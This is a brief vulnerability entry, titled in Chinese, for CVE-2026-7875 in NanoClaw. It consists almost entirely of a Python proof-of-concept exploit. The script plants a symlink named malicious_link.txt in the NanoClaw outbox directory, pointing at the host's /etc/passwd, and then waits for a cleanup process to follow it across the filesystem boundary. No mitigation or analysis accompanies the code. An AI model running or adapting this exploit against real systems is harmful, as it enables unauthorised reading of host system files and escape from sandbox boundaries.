CVE-2026-7875 NanoClaw文件系统边界漏洞

import os # Exploit Concept: Symlink creation in the outbox directory # Target: Read /etc/passwd from the host outbox_path = "/var/lib/nanoclaw/outbox" target_file = "/etc/passwd" symlink_name = "malicious_link.txt" try: # Change to the outbox directory os.chdir(outbox_path) # Create a symlink pointing to the host file os.symlink(target_file, symlink_name) print(f"Symlink created: {symlink_name} -> {target_file}") print("Wait for NanoClaw cleanup process to trigger...") except Exception as e: print(f"Error: {e}")